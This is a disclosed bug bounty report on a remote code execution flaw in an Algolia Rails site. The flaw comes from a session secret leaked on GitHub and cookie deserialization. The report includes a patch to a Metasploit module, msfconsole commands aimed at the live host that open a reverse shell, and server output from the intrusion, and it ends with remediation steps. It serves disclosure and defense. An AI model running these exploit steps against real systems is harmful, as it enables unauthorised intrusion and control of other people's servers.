Algolia · Report #134321
RCE on facebooksearch.algolia.com
How it was found
While doing recon on Algolia, I found that the session secret for facebooksearch.algolia.com has been committed to a public GitHub repository. Since the Rails app running at facebooksearch.algolia.com is using CookieStore as the session storage, this means an attacker knowing the session secret can craft any cookie that will then be accepted by the server.
Cookie values are deserialized (unmarshalled) server-side. That combined with knowing the session secret creates the dangerous opportunity for an RCE. The attacker can sign a cookie that contains a Ruby object that evals arbitrary code when it is deserialized on the server side. The concept is explained in depth here: https://charlie.bz/blog/rails-3.2.10-remote-code-execution.
Where did I find the session secret?
I used Gitrob to scan all of Algolia's public repositories (plus repositories from employees) and extract everything that is interesting. The secret_token.rb initializer immediately caught my attention since it usually contains the secret_key_base, which should never be public.
The token can be found here: https://github.com/algolia/facebook-search/commit/f3adccb5532898f8088f90eb57cf991e2d499b49#diff-afe98573d9aad940bb0f531ea55734f8R12
Proof of Concept
@joernchen developed a ready to go proof of concept for this vulnerability and submitted it to the Metasploit Framework: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_secret_deserialization.rb
Since the version of the exploit doesn't take cookies with - into account, here is a small patch to allow the exploit to work on the _facebook-search_session cookie. Here's the patch for the exploit:
if res && !res.get_cookies.empty?
- match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
+ match = res.get_cookies.match(/([_A-Za-z0-9\-]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
end
With that patch applied, you can run the PoC from msfconsole by following these commands:
# setting up
use exploit/multi/http/rails_secret_deserialization
set secret "<grab-from-github-url>"
set rhost facebooksearch.algolia.com
set railsversion 4
set targeturi /auth/facebook
# and then run
exploit
# when successful, a reverse shell will be established
# this allows you to run arbitrary commands
As a proof of concept, I ran id:
id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
But since that is very generic, I also created http://facebooksearch.algolia.com/hackerone.txt with the text "PoC by michiel" to proof regular write access is possible as well.
Remediation
Switch config/initializers/secret_token.rb to use an environment variable (e.g. ENV['SECRET_KEY_BASE']). You must also generate a new token because the current secret is compromised. A new secret can be generated by running rake secret from the command line. Make sure the new secret does not leak in git commit history.